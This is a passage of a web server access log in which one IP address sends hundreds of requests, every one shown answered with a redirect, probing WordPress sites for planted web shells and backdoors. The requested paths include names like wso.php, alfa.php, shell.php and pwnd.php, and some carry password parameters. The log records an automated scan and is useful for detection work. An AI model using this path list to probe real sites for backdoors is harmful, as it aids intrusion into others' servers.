795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:26 -0400] "GET /wp-admin/network/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:26 -0400] "GET /wp-admin/network/b.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:27 -0400] "GET /wp-admin/network/chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:27 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:28 -0400] "GET /wp-admin/network/natural.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:28 -0400] "GET /wp-admin/network/network.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:29 -0400] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:29 -0400] "GET /wp-admin/network/upfile.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:30 -0400] "GET /wp-admin/network/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:30 -0400] "GET /wp-admin/network/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:31 -0400] "GET /wp-admin/network/x2.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:31 -0400] "GET /wp-admin/network/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:32 -0400] "GET /wp-admin/network/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:33 -0400] "GET /wp-admin/nu9OXf8vKDb.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:33 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:34 -0400] "GET /wp-admin/plugin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:34 -0400] "GET /wp-admin/plugins HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:35 -0400] "GET /wp-admin/plugins/setup HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:35 -0400] "GET /wp-admin/pn2V4tLmwH3.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:36 -0400] "GET /wp-admin/radio.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:36 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:36 -0400] "GET /wp-admin/shapes.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:37 -0400] "GET /wp-admin/shell.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:37 -0400] "GET /wp-admin/shell.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:38 -0400] "GET /wp-admin/soDcBgSFtLA.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:38 -0400] "GET /wp-admin/swm6p5Zny1e.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:39 -0400] "GET /wp-admin/tYDX5wNaIbH.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:39 -0400] "GET /wp-admin/themes HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:40 -0400] "GET /wp-admin/uiTWAJnRoeg.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:40 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:41 -0400] "GET /wp-admin/user/?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:41 -0400] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:42 -0400] "GET /wp-admin/user/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:42 -0400] "GET /wp-admin/user/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:43 -0400] "GET /wp-admin/user/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:43 -0400] "GET /wp-admin/user/bak.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:44 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:44 -0400] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:44 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:45 -0400] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:46 -0400] "GET /wp-admin/user/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:46 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:47 -0400] "GET /wp-admin/wEvOhNfjUQY.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:47 -0400] "GET /wp-admin/wp-admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:48 -0400] "GET /wp-admin/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:48 -0400] "GET /wp-admin/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:49 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:50 -0400] "GET /wp-admin/wp.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:51 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:51 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:51 -0400] "GET /wp-api.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:52 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:52 -0400] "GET /wp-back.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:53 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:53 -0400] "GET /wp-blog-header.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:54 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:54 -0400] "GET /wp-blog.php?pass=hill HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:55 -0400] "GET /wp-checkbex.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:55 -0400] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:56 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:56 -0400] "GET /wp-conf.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:57 -0400] "GET /wp-conf.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:58 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:58 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:26:59 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:00 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:01 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:02 -0400] "GET /wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:03 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:04 -0400] "GET /wp-content//auto.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:04 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:05 -0400] "GET /wp-content/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:06 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:07 -0400] "GET /wp-content/alfa.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:07 -0400] "GET /wp-content/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:08 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:08 -0400] "GET /wp-content/autoload_classmap.php/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:09 -0400] "GET /wp-content/b.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:09 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:10 -0400] "GET /wp-content/blue.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:10 -0400] "GET /wp-content/cache/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:11 -0400] "GET /wp-content/cache/w.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:12 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:12 -0400] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:13 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:13 -0400] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:14 -0400] "GET /wp-content/function.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:14 -0400] "GET /wp-content/gallery/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:15 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:15 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:16 -0400] "GET /wp-content/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:16 -0400] "GET /wp-content/index.php?x=ooo HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:18 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:18 -0400] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:19 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:19 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:20 -0400] "GET /wp-content/languages/asus.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:20 -0400] "GET /wp-content/languages/chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:21 -0400] "GET /wp-content/languages/ebbqviXwm.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:21 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:22 -0400] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:22 -0400] "GET /wp-content/languages/themes/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:23 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:23 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:24 -0400] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:25 -0400] "GET /wp-content/mu-plugins-old/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:25 -0400] "GET /wp-content/mu-plugins-old/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:27 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:27 -0400] "GET /wp-content/mu-plugins/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:28 -0400] "GET /wp-content/mu-plugins/item.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:29 -0400] "GET /wp-content/packed.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:29 -0400] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:30 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:30 -0400] "GET /wp-content/plugins//about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:31 -0400] "GET /wp-content/plugins//hello.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:31 -0400] "GET /wp-content/plugins//index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:32 -0400] "GET /wp-content/plugins/Duplicatepost/src/ui/sidwso.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:33 -0400] "GET /wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:34 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:35 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:35 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:36 -0400] "GET /wp-content/plugins/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:36 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:37 -0400] "GET /wp-content/plugins/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:37 -0400] "GET /wp-content/plugins/ango/sett.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:38 -0400] "GET /wp-content/plugins/apikey/natural.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:38 -0400] "GET /wp-content/plugins/b.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:39 -0400] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:40 -0400] "GET /wp-content/plugins/classic-editor//about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:40 -0400] "GET /wp-content/plugins/classic-editor//classic-editor.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:41 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:42 -0400] "GET /wp-content/plugins/core-plugin/wp-error_log.php?dir=. HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:42 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:43 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:43 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:44 -0400] "GET /wp-content/plugins/elementor//elementor-object.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:44 -0400] "GET /wp-content/plugins/elementor//wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:45 -0400] "GET /wp-content/plugins/elementor/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:45 -0400] "GET /wp-content/plugins/elementor/includes/settings/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:46 -0400] "GET /wp-content/plugins/elementor/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:46 -0400] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:47 -0400] "GET /wp-content/plugins/erinyani/yani/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:48 -0400] "GET /wp-content/plugins/fix/00.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:48 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:48 -0400] "GET /wp-content/plugins/goods.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:49 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:49 -0400] "GET /wp-content/plugins/html404/index.html HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:50 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:50 -0400] "GET /wp-content/plugins/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:51 -0400] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:52 -0400] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:52 -0400] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:53 -0400] "GET /wp-content/plugins/linkpreview/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:53 -0400] "GET /wp-content/plugins/not/includes/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:54 -0400] "GET /wp-content/plugins/one-click-demo-import//about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:54 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:55 -0400] "GET /wp-content/plugins/pwnd/block-support.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:55 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:55 -0400] "GET /wp-content/plugins/pwnd/pwnd.php/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:56 -0400] "GET /wp-content/plugins/pwnd/z4x.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:56 -0400] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:57 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:58 -0400] "GET /wp-content/plugins/seo-by-rank-math//wp-casper.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:27:59 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:00 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:01 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:02 -0400] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:03 -0400] "GET /wp-content/plugins/seoplugins/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:04 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:05 -0400] "GET /wp-content/plugins/seox/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:06 -0400] "GET /wp-content/plugins/sid/sidwso.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:07 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:08 -0400] "GET /wp-content/plugins/wordpresss3cll/includes.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:10 -0400] "GET /wp-content/plugins/wordpresss3cll/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:11 -0400] "GET /wp-content/plugins/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:12 -0400] "GET /wp-content/plugins/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:14 -0400] "GET /wp-content/plugins/wp-help/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:14 -0400] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:15 -0400] "GET /wp-content/plugins/wp-help/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:16 -0400] "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:17 -0400] "GET /wp-content/plugins/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:17 -0400] "GET /wp-content/plugins/wp-sec/ab.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:18 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:19 -0400] "GET /wp-content/plugins/wp.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:19 -0400] "GET /wp-content/plugins/x/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:21 -0400] "GET /wp-content/plugins/yyobang/mar.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:22 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:23 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:24 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:24 -0400] "GET /wp-content/themes//inpust.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:26 -0400] "GET /wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:27 -0400] "GET /wp-content/themes/aahana/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:28 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:29 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:30 -0400] "GET /wp-content/themes/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:31 -0400] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:34 -0400] "GET /wp-content/themes/alera/alpha.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:35 -0400] "GET /wp-content/themes/astra/inc/fm.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:36 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:38 -0400] "GET /wp-content/themes/astra/inc/network.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:39 -0400] "GET /wp-content/themes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:43 -0400] "GET /wp-content/themes/cay-van-phong/filemanager.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:45 -0400] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:48 -0400] "GET /wp-content/themes/classic/inc/admiin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:50 -0400] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:52 -0400] "GET /wp-content/themes/file.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:54 -0400] "GET /wp-content/themes/finley/min.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:55 -0400] "GET /wp-content/themes/fitnessbase/404.php?ok HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:57 -0400] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:58 -0400] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:58 -0400] "GET /wp-content/themes/include.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:28:59 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:01 -0400] "GET /wp-content/themes/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:03 -0400] "GET /wp-content/themes/index.php?pass=1313 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:05 -0400] "GET /wp-content/themes/intense/block-css.php?mode=upload HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:29:06 -0400] "GET /wp-content/themes/newstoday/lang.php HTTP/1.1" 